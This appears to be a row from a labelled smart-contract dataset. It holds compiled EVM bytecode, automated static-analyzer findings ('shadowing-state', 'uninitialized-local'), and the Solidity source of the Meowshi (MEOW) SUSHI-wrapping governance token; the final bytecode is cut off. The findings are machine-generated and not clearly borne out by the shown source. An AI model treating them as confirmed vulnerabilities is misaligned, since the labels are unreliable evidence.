ffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3600191505b509392505050565b600082612910336116dc565b1015151561291a57fe5b61292c612926336116dc565b84612afe565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061298161297b856116dc565b84612b18565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816040518082805190602001908083835b6020831015156129fb57805182525b6020820191506020810190506020830392506129d5565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390208473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16866040518082815260200191505060405180910390a48373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600190505b9392505050565b6000818310151515612b0c57fe5b81830390505b92915050565b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038311151515612b4857fe5b81830190505b92915050565b602060405190810160405280600081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10612ba957805160ff1916838001178555612bd7565b82800160010185558215612bd7579182015b82811115612bd6578251825591602001919060010190612bbb565b5b509050612be49190612bfc565b5090565b602060405190810160405280600081525090565b612c1e91905b80821115612c1a576000816000905550600101612c02565b5090565b905600a165627a7a723058205b23cf85d782ec95f475c23503069715c8962be52119eb6b228f4a20cd169ca40029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-state", "impact": "High", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 7,893 |
0xbdf3351564cc51163e3586972cc0a7dde577effb
|
// SPDX-License-Identifier: UNLICENSED
// @title Meowshi (MEOW) 🐈 🍣 🍱
// @author Gatoshi Nyakamoto
pragma solidity 0.8.4;
/// @notice Interface for depositing into & withdrawing from BentoBox vault.
interface IERC20{} interface IBentoBoxBasic {
function deposit(
IERC20 token_,
address from,
address to,
uint256 amount,
uint256 share
) external payable returns (uint256 amountOut, uint256 shareOut);
function withdraw(
IERC20 token_,
address from,
address to,
uint256 amount,
uint256 share
) external returns (uint256 amountOut, uint256 shareOut);
}
/// @notice Interface for depositing into & withdrawing from SushiBar.
interface ISushiBar {
function balanceOf(address account) external view returns (uint256);
function enter(uint256 amount) external;
function leave(uint256 share) external;
function approve(address spender, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
/// @notice Meowshi takes SUSHI/xSUSHI to mint governing MEOW tokens that can be burned to claim SUSHI/xSUSHI from BENTO with yields.
// ៱˳_˳៱ ∫
contract Meowshi {
IBentoBoxBasic constant bento = IBentoBoxBasic(0xF5BCE5077908a1b7370B9ae04AdC565EBd643966); // BENTO vault contract (multinet)
ISushiBar constant sushiToken = ISushiBar(0x6B3595068778DD592e39A122f4f5a5cF09C90fE2); // SUSHI token contract (mainnet)
address constant sushiBar = 0x8798249c2E607446EfB7Ad49eC89dD1865Ff4272; // xSUSHI token contract for staking SUSHI (mainnet)
string constant public name = "Meowshi";
string constant public symbol = "MEOW";
uint8 constant public decimals = 18;
uint256 constant multiplier = 100_000; // 1 xSUSHI BENTO share = 100,000 MEOW
uint256 public totalSupply;
/// @notice owner -> spender -> allowance mapping.
mapping(address => mapping(address => uint256)) public allowance;
/// @notice owner -> balance mapping.
mapping(address => uint256) public balanceOf;
/// @notice owner -> nonce mapping used in {permit}.
mapping(address => uint256) public nonces;
/// @notice A record of each account's delegate.
mapping(address => address) public delegates;
/// @notice A record of voting checkpoints for each account, by index.
mapping(address => mapping(uint256 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account.
mapping(address => uint256) public numCheckpoints;
/// @notice The ERC-712 typehash for this contract's domain.
bytes32 constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The ERC-712 typehash for the delegation struct used by the contract.
bytes32 constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice The ERC-712 typehash for the {permit} struct used by the contract.
bytes32 constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
/// @notice Events that are emitted when an ERC-20 approval or transfer occurs.
event Approval(address indexed owner, address indexed spender, uint256 amount);
event Transfer(address indexed from, address indexed to, uint256 amount);
/// @notice An event that's emitted when an account changes its delegate.
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event that's emitted when a delegate account's vote balance changes.
event DelegateVotesChanged(address indexed delegate, uint256 previousBalance, uint256 newBalance);
/// @notice A checkpoint for marking number of votes from a given block.
struct Checkpoint {
uint256 fromBlock;
uint256 votes;
}
constructor() {
sushiToken.approve(sushiBar, type(uint256).max); // max {approve} xSUSHI to draw SUSHI from this contract
ISushiBar(sushiBar).approve(address(bento), type(uint256).max); // max {approve} BENTO to draw xSUSHI from this contract
}
/// @notice Enables calling multiple methods in a single call to this contract.
function multicall(bytes[] calldata data) external returns (bytes[] memory results) {
results = new bytes[](data.length);
unchecked {for (uint256 i = 0; i < data.length; i++) {
(bool success, bytes memory result) = address(this).delegatecall(data[i]);
if (!success) {
if (result.length < 68) revert();
assembly {result := add(result, 0x04)}
revert(abi.decode(result, (string)));
}
results[i] = result;}}
}
/*************
MEOW FUNCTIONS
*************/
// **** xSUSHI
/// @notice Enter Meowshi. Deposit xSUSHI `amount`. Mint MEOW for `to`.
function meow(address to, uint256 amount) external returns (uint256 shares) {
ISushiBar(sushiBar).transferFrom(msg.sender, address(bento), amount); // forward to BENTO for skim
(, shares) = bento.deposit(IERC20(sushiBar), address(bento), address(this), amount, 0);
meowMint(to, shares * multiplier);
}
/// @notice Leave Meowshi. Burn MEOW `amount`. Claim xSUSHI for `to`.
function unmeow(address to, uint256 amount) external returns (uint256 amountOut) {
meowBurn(amount);
unchecked {(amountOut, ) = bento.withdraw(IERC20(sushiBar), address(this), to, 0, amount / multiplier);}
}
// **** SUSHI
/// @notice Enter Meowshi. Deposit SUSHI `amount`. Mint MEOW for `to`.
function meowSushi(address to, uint256 amount) external returns (uint256 shares) {
sushiToken.transferFrom(msg.sender, address(this), amount);
ISushiBar(sushiBar).enter(amount);
(, shares) = bento.deposit(IERC20(sushiBar), address(this), address(this), ISushiBar(sushiBar).balanceOf(address(this)), 0);
meowMint(to, shares * multiplier);
}
/// @notice Leave Meowshi. Burn MEOW `amount`. Claim SUSHI for `to`.
function unmeowSushi(address to, uint256 amount) external returns (uint256 amountOut) {
meowBurn(amount);
unchecked {(amountOut, ) = bento.withdraw(IERC20(sushiBar), address(this), address(this), 0, amount / multiplier);}
ISushiBar(sushiBar).leave(amountOut);
sushiToken.transfer(to, sushiToken.balanceOf(address(this)));
}
// **** SUPPLY MGMT
/// @notice Internal mint function for *meow*.
function meowMint(address to, uint256 amount) private {
balanceOf[to] += amount;
totalSupply += amount;
_moveDelegates(address(0), delegates[to], amount);
emit Transfer(address(0), to, amount);
}
/// @notice Internal burn function for *unmeow*.
function meowBurn(uint256 amount) private {
balanceOf[msg.sender] -= amount;
unchecked {totalSupply -= amount;}
_moveDelegates(delegates[msg.sender], address(0), amount);
emit Transfer(msg.sender, address(0), amount);
}
/**************
TOKEN FUNCTIONS
**************/
/// @notice Approves `amount` from msg.sender to be spent by `spender`.
/// @param spender Address of the party that can draw tokens from msg.sender's account.
/// @param amount The maximum collective `amount` that `spender` can draw.
/// @return (bool) Returns 'true' if succeeded.
function approve(address spender, uint256 amount) external returns (bool) {
allowance[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
/// @notice Triggers an approval from owner to spends.
/// @param owner The address to approve from.
/// @param spender The address to be approved.
/// @param amount The number of tokens that are approved (2^256-1 means infinite).
/// @param deadline The time at which to expire the signature.
/// @param v The recovery byte of the signature.
/// @param r Half of the ECDSA signature pair.
/// @param s Half of the ECDSA signature pair.
function permit(address owner, address spender, uint256 amount, uint deadline, uint8 v, bytes32 r, bytes32 s) external {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
unchecked {bytes32 structHash = keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, amount, nonces[owner]++, deadline));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), 'Meowshi::permit: invalid signature');
require(signatory == owner, 'Meowshi::permit: unauthorized');}
require(block.timestamp <= deadline, 'Meowshi::permit: signature expired');
allowance[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/// @notice Transfers `amount` tokens from `msg.sender` to `to`.
/// @param to The address to move tokens `to`.
/// @param amount The token `amount` to move.
/// @return (bool) Returns 'true' if succeeded.
function transfer(address to, uint256 amount) external returns (bool) {
balanceOf[msg.sender] -= amount;
unchecked {balanceOf[to] += amount;}
_moveDelegates(delegates[msg.sender], delegates[to], amount);
emit Transfer(msg.sender, to, amount);
return true;
}
/// @notice Transfers `amount` tokens from `from` to `to`. Caller needs approval from `from`.
/// @param from Address to draw tokens `from`.
/// @param to The address to move tokens `to`.
/// @param amount The token `amount` to move.
/// @return (bool) Returns 'true' if succeeded.
function transferFrom(address from, address to, uint256 amount) external returns (bool) {
if (allowance[from][msg.sender] != type(uint256).max) {allowance[from][msg.sender] -= amount;}
balanceOf[from] -= amount;
unchecked {balanceOf[to] += amount;}
_moveDelegates(delegates[from], delegates[to], amount);
emit Transfer(from, to, amount);
return true;
}
/*******************
DELEGATION FUNCTIONS
*******************/
/// @notice Delegate votes from `msg.sender` to `delegatee`.
/// @param delegatee The address to delegate votes to.
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
/// @notice Delegates votes from signatory to `delegatee`.
/// @param delegatee The address to delegate votes to.
/// @param nonce The contract state required to match the signature.
/// @param expiry The time at which to expire the signature.
/// @param v The recovery byte of the signature.
/// @param r Half of the ECDSA signature pair.
/// @param s Half of the ECDSA signature pair.
function delegateBySig(address delegatee, uint256 nonce, uint256 expiry, uint8 v, bytes32 r, bytes32 s) external {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), 'Meowshi::delegateBySig: invalid signature');
unchecked {require(nonce == nonces[signatory]++, 'Meowshi::delegateBySig: invalid nonce');}
require(block.timestamp <= expiry, 'Meowshi::delegateBySig: signature expired');
return _delegate(signatory, delegatee);
}
function _delegate(address delegator, address delegatee) private {
address currentDelegate = delegates[delegator];
delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, balanceOf[delegator]);
}
function _moveDelegates(address srcRep, address dstRep, uint256 amount) private {
if (srcRep != dstRep && amount != 0) {
unchecked {if (srcRep != address(0)) {
uint256 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum != 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint256 srcRepNew = srcRepOld - amount;
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
uint256 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum != 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint256 dstRepNew = dstRepOld + amount;
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}}
}
}
function _writeCheckpoint(address delegatee, uint256 nCheckpoints, uint256 oldVotes, uint256 newVotes) private {
unchecked {if (nCheckpoints != 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == block.number) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(block.number, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;}}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
/***************
GETTER FUNCTIONS
***************/
/// @notice Get current chain.
function getChainId() private view returns (uint256) {
uint256 chainId;
assembly {chainId := chainid()}
return chainId;
}
/// @notice Gets the current votes balance for `account`.
/// @param account The address to get votes balance.
/// @return The number of current votes for `account`.
function getCurrentVotes(address account) external view returns (uint256) {
unchecked {uint256 nCheckpoints = numCheckpoints[account];
return nCheckpoints != 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;}
}
/// @notice Determine the prior number of votes for an `account` as of a block number.
/// @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
/// @param account The address of the `account` to check.
/// @param blockNumber The block number to get the vote balance at.
/// @return The number of votes the `account` had as of the given block.
function getPriorVotes(address account, uint256 blockNumber) external view returns (uint256) {
require(blockNumber < block.number, 'Meowshi::getPriorVotes: not yet determined');
uint256 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {return 0;}
// @dev First check most recent balance.
unchecked {if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {return checkpoints[account][nCheckpoints - 1].votes;}
// @dev Next check implicit zero balance.
if (checkpoints[account][0].fromBlock > blockNumber) {return 0;}
uint256 lower;
uint256 upper = nCheckpoints - 1;
while (upper != lower) {
uint256 center = upper - (upper - lower) / 2;
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {upper = center - 1;}}
return checkpoints[account][lower].votes;}
}
}
|
0x608060405234801561001057600080fd5b506004361061018d5760003560e01c80636fcfff45116100e3578063ac9650d81161008c578063d505accf11610066578063d505accf14610443578063dd62ed3e14610456578063e6ff41eb1461048157600080fd5b8063ac9650d8146103fd578063b4b5ea571461041d578063c3cda5201461043057600080fd5b80637ecebe00116100bd5780637ecebe001461038e57806395d89b41146103ae578063a9059cbb146103ea57600080fd5b80636fcfff451461033b57806370a082311461035b578063782d6fe11461037b57600080fd5b806323b872dd11610145578063587cde1e1161011f578063587cde1e146102b85780635c19a95c14610313578063642ed5001461032857600080fd5b806323b872dd14610278578063313ce5671461028b5780633c0adb68146102a557600080fd5b80630cdfebfa116101765780630cdfebfa1461020757806318160ddd1461024e5780631b04a34f1461026557600080fd5b806306fdde0314610192578063095ea7b3146101e4575b600080fd5b6101ce6040518060400160405280600781526020017f4d656f777368690000000000000000000000000000000000000000000000000081525081565b6040516101db9190612615565b60405180910390f35b6101f76101f236600461232a565b610494565b60405190151581526020016101db565b61023961021536600461232a565b60056020908152600092835260408084209091529082529020805460019091015482565b604080519283526020830191909152016101db565b61025760005481565b6040519081526020016101db565b61025761027336600461232a565b61050e565b6101f7610286366004612286565b610605565b610293601281565b60405160ff90911681526020016101db565b6102576102b336600461232a565b61079f565b6102ee6102c636600461223a565b60046020526000908152604090205473ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff90911681526020016101db565b61032661032136600461223a565b610a5e565b005b61025761033636600461232a565b610a6b565b61025761034936600461223a565b60066020526000908152604090205481565b61025761036936600461223a565b60026020526000908152604090205481565b61025761038936600461232a565b610d16565b61025761039c36600461223a565b60036020526000908152604090205481565b6101ce6040518060400160405280600481526020017f4d454f570000000000000000000000000000000000000000000000000000000081525081565b6101f76103f836600461232a565b610fce565b61041061040b3660046123aa565b61108e565b6040516101db9190612596565b61025761042b36600461223a565b611263565b61032661043e366004612353565b6112f3565b6103266104513660046122c1565b611702565b610257610464366004612254565b600160209081526000928352604080842090915290825290205481565b61025761048f36600461232a565b611b6e565b33600081815260016020908152604080832073ffffffffffffffffffffffffffffffffffffffff8716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906104fc9086815260200190565b60405180910390a35060015b92915050565b600061051982611caf565b6040517f97da6d30000000000000000000000000000000000000000000000000000000008152738798249c2e607446efb7ad49ec89dd1865ff4272600482015230602482015273ffffffffffffffffffffffffffffffffffffffff8416604482015260006064820152620186a08304608482015273f5bce5077908a1b7370b9ae04adc565ebd643966906397da6d309060a4016040805180830381600087803b1580156105c557600080fd5b505af11580156105d9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105fd9190612519565b509392505050565b73ffffffffffffffffffffffffffffffffffffffff831660009081526001602090815260408083203384529091528120547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff146106a25773ffffffffffffffffffffffffffffffffffffffff841660009081526001602090815260408083203384529091528120805484929061069c9084906126e7565b90915550505b73ffffffffffffffffffffffffffffffffffffffff8416600090815260026020526040812080548492906106d79084906126e7565b909155505073ffffffffffffffffffffffffffffffffffffffff8084166000818152600260209081526040808320805488019055888516835260049091528082205492825290205461072e92918216911684611d47565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161078d91815260200190565b60405180910390a35060019392505050565b6040517f23b872dd00000000000000000000000000000000000000000000000000000000815233600482015230602482015260448101829052600090736b3595068778dd592e39a122f4f5a5cf09c90fe2906323b872dd90606401602060405180830381600087803b15801561081457600080fd5b505af1158015610828573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061084c919061241a565b506040517fa59f3e0c00000000000000000000000000000000000000000000000000000000815260048101839052738798249c2e607446efb7ad49ec89dd1865ff42729063a59f3e0c90602401600060405180830381600087803b1580156108b357600080fd5b505af11580156108c7573d6000803e3d6000fd5b50506040517f70a08231000000000000000000000000000000000000000000000000000000008152306004820181905273f5bce5077908a1b7370b9ae04adc565ebd64396693506302b9446c9250738798249c2e607446efb7ad49ec89dd1865ff427291819083906370a082319060240160206040518083038186803b15801561095057600080fd5b505afa158015610964573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109889190612501565b6040517fffffffff0000000000000000000000000000000000000000000000000000000060e087901b16815273ffffffffffffffffffffffffffffffffffffffff948516600482015292841660248401529216604482015260648101919091526000608482015260a4015b6040805180830381600087803b158015610a0c57600080fd5b505af1158015610a20573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a449190612519565b9150610508905083610a59620186a0846126aa565b611efe565b610a683382611fd4565b50565b6000610a7682611caf565b6040517f97da6d30000000000000000000000000000000000000000000000000000000008152738798249c2e607446efb7ad49ec89dd1865ff427260048201523060248201819052604482015260006064820152620186a08304608482015273f5bce5077908a1b7370b9ae04adc565ebd643966906397da6d309060a4016040805180830381600087803b158015610b0d57600080fd5b505af1158015610b21573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b459190612519565b506040517f67dfd4c900000000000000000000000000000000000000000000000000000000815260048101829052909150738798249c2e607446efb7ad49ec89dd1865ff4272906367dfd4c990602401600060405180830381600087803b158015610baf57600080fd5b505af1158015610bc3573d6000803e3d6000fd5b50506040517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152736b3595068778dd592e39a122f4f5a5cf09c90fe2925063a9059cbb9150859083906370a082319060240160206040518083038186803b158015610c3457600080fd5b505afa158015610c48573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c6c9190612501565b6040517fffffffff0000000000000000000000000000000000000000000000000000000060e085901b16815273ffffffffffffffffffffffffffffffffffffffff90921660048301526024820152604401602060405180830381600087803b158015610cd757600080fd5b505af1158015610ceb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d0f919061241a565b5092915050565b6000438210610dac576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602a60248201527f4d656f777368693a3a6765745072696f72566f7465733a206e6f74207965742060448201527f64657465726d696e65640000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b73ffffffffffffffffffffffffffffffffffffffff831660009081526006602052604090205480610de1576000915050610508565b73ffffffffffffffffffffffffffffffffffffffff841660009081526005602090815260408083207fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff850184529091529020548310610e975773ffffffffffffffffffffffffffffffffffffffff841660009081526005602090815260408083207fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff909401835292905220600101549050610508565b73ffffffffffffffffffffffffffffffffffffffff84166000908152600560209081526040808320838052909152902054831015610ed9576000915050610508565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82015b818114610f915773ffffffffffffffffffffffffffffffffffffffff86166000908152600560209081526040808320600286860304850380855290835292819020815180830190925280548083526001909101549282019290925290871415610f72576020015194506105089350505050565b8051871115610f8357819350610f8a565b6001820392505b5050610eff565b5073ffffffffffffffffffffffffffffffffffffffff85166000908152600560209081526040808320938352929052206001015491505092915050565b33600090815260026020526040812080548391908390610fef9084906126e7565b909155505073ffffffffffffffffffffffffffffffffffffffff808416600081815260026020908152604080832080548801905533835260049091528082205492825290205461104492918216911684611d47565b60405182815273ffffffffffffffffffffffffffffffffffffffff84169033907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906020016104fc565b60608167ffffffffffffffff8111156110d0577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60405190808252806020026020018201604052801561110357816020015b60608152602001906001900390816110ee5790505b50905060005b82811015610d0f576000803086868581811061114e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90506020028101906111609190612628565b60405161116e929190612586565b600060405180830381855af49150503d80600081146111a9576040519150601f19603f3d011682016040523d82523d6000602084013e6111ae565b606091505b509150915081611214576044815110156111c757600080fd5b600481019050808060200190518101906111e1919061243a565b6040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610da39190612615565b8084848151811061124e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60209081029190910101525050600101611109565b73ffffffffffffffffffffffffffffffffffffffff8116600090815260066020526040812054806112955760006112ec565b73ffffffffffffffffffffffffffffffffffffffff831660009081526005602090815260408083207fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff850184529091529020600101545b9392505050565b604080518082018252600781527f4d656f777368690000000000000000000000000000000000000000000000000060209182015281517f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a866818301527fb2519001d922cc8f01da040a1ebf40356f395758595af77f4a075390db7ffeeb81840152466060820152306080808301919091528351808303909101815260a0820184528051908301207fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf60c083015273ffffffffffffffffffffffffffffffffffffffff8a1660e08301526101008201899052610120808301899052845180840390910181526101408301909452835193909201929092207f19010000000000000000000000000000000000000000000000000000000000006101608401526101628301829052610182830181905290916000906101a201604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe08184030181528282528051602091820120600080855291840180845281905260ff8a169284019290925260608301889052608083018790529092509060019060a0016020604051602081039080840390855afa1580156114d1573d6000803e3d6000fd5b50506040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0015191505073ffffffffffffffffffffffffffffffffffffffff811661159f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602960248201527f4d656f777368693a3a64656c656761746542795369673a20696e76616c69642060448201527f7369676e617475726500000000000000000000000000000000000000000000006064820152608401610da3565b73ffffffffffffffffffffffffffffffffffffffff81166000908152600360205260409020805460018101909155891461165b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602560248201527f4d656f777368693a3a64656c656761746542795369673a20696e76616c69642060448201527f6e6f6e63650000000000000000000000000000000000000000000000000000006064820152608401610da3565b874211156116eb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602960248201527f4d656f777368693a3a64656c656761746542795369673a207369676e6174757260448201527f65206578706972656400000000000000000000000000000000000000000000006064820152608401610da3565b6116f5818b611fd4565b505050505b505050505050565b604080518082018252600781527f4d656f777368690000000000000000000000000000000000000000000000000060209182015281517f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a866818301527fb2519001d922cc8f01da040a1ebf40356f395758595af77f4a075390db7ffeeb81840152466060820152306080808301919091528351808303909101815260a08201845280519083012073ffffffffffffffffffffffffffffffffffffffff8b81166000818152600386528681208054600181019091557f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c960c087015260e0860192909252918c1661010085015261012084018b90526101408401526101608084018a9052855180850390910181526101808401909552845194909301939093207f19010000000000000000000000000000000000000000000000000000000000006101a08301526101a282018490526101c2820181905291906101e201604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe08184030181528282528051602091820120600080855291840180845281905260ff8a169284019290925260608301889052608083018790529092509060019060a0016020604051602081039080840390855afa158015611905573d6000803e3d6000fd5b50506040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0015191505073ffffffffffffffffffffffffffffffffffffffff81166119d3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602260248201527f4d656f777368693a3a7065726d69743a20696e76616c6964207369676e61747560448201527f72650000000000000000000000000000000000000000000000000000000000006064820152608401610da3565b8a73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614611a68576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601d60248201527f4d656f777368693a3a7065726d69743a20756e617574686f72697a65640000006044820152606401610da3565b50505084421115611afb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602260248201527f4d656f777368693a3a7065726d69743a207369676e617475726520657870697260448201527f65640000000000000000000000000000000000000000000000000000000000006064820152608401610da3565b73ffffffffffffffffffffffffffffffffffffffff8881166000818152600160209081526040808320948c16808452948252918290208a905590518981527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35050505050505050565b6040517f23b872dd00000000000000000000000000000000000000000000000000000000815233600482015273f5bce5077908a1b7370b9ae04adc565ebd643966602482015260448101829052600090738798249c2e607446efb7ad49ec89dd1865ff4272906323b872dd90606401602060405180830381600087803b158015611bf757600080fd5b505af1158015611c0b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c2f919061241a565b506040517f02b9446c000000000000000000000000000000000000000000000000000000008152738798249c2e607446efb7ad49ec89dd1865ff4272600482015273f5bce5077908a1b7370b9ae04adc565ebd643966602482018190523060448301526064820184905260006084830152906302b9446c9060a4016109f3565b3360009081526002602052604081208054839290611cce9084906126e7565b909155505060008054829003815533815260046020526040812054611d0c9173ffffffffffffffffffffffffffffffffffffffff9091169083611d47565b60405181815260009033907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a350565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611d8257508015155b15611ef95773ffffffffffffffffffffffffffffffffffffffff831615611e425773ffffffffffffffffffffffffffffffffffffffff83166000908152600660205260408120549081611dd6576000611e2d565b73ffffffffffffffffffffffffffffffffffffffff851660009081526005602090815260408083207fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff860184529091529020600101545b9050828103611e3e8684848461208b565b5050505b73ffffffffffffffffffffffffffffffffffffffff821615611ef95773ffffffffffffffffffffffffffffffffffffffff82166000908152600660205260408120549081611e91576000611ee8565b73ffffffffffffffffffffffffffffffffffffffff841660009081526005602090815260408083207fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff860184529091529020600101545b90508281016116fa8584848461208b565b505050565b73ffffffffffffffffffffffffffffffffffffffff821660009081526002602052604081208054839290611f33908490612692565b9250508190555080600080828254611f4b9190612692565b909155505073ffffffffffffffffffffffffffffffffffffffff808316600090815260046020526040812054611f82921683611d47565b60405181815273ffffffffffffffffffffffffffffffffffffffff8316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b73ffffffffffffffffffffffffffffffffffffffff80831660008181526004602052604080822080548686167fffffffffffffffffffffffff0000000000000000000000000000000000000000821681179092559151919094169392849290917f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f9190a473ffffffffffffffffffffffffffffffffffffffff8316600090815260026020526040902054611ef99082908490611d47565b82158015906120eb575073ffffffffffffffffffffffffffffffffffffffff841660009081526005602090815260408083207fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8701845290915290205443145b1561214d5773ffffffffffffffffffffffffffffffffffffffff841660009081526005602090815260408083207fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8701845290915290206001018190556121a9565b604080518082018252438152602080820184815273ffffffffffffffffffffffffffffffffffffffff88166000818152600584528581208982528452858120945185559151600194850155815260069091529190912090840190555b604080518381526020810183905273ffffffffffffffffffffffffffffffffffffffff8616917fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a724910160405180910390a250505050565b803573ffffffffffffffffffffffffffffffffffffffff8116811461222457600080fd5b919050565b803560ff8116811461222457600080fd5b60006020828403121561224b578081fd5b6112ec82612200565b60008060408385031215612266578081fd5b61226f83612200565b915061227d60208401612200565b90509250929050565b60008060006060848603121561229a578081fd5b6122a384612200565b92506122b160208501612200565b9150604084013590509250925092565b600080600080600080600060e0888a0312156122db578283fd5b6122e488612200565b96506122f260208901612200565b9550604088013594506060880135935061230e60808901612229565b925060a0880135915060c0880135905092959891949750929550565b6000806040838503121561233c578182fd5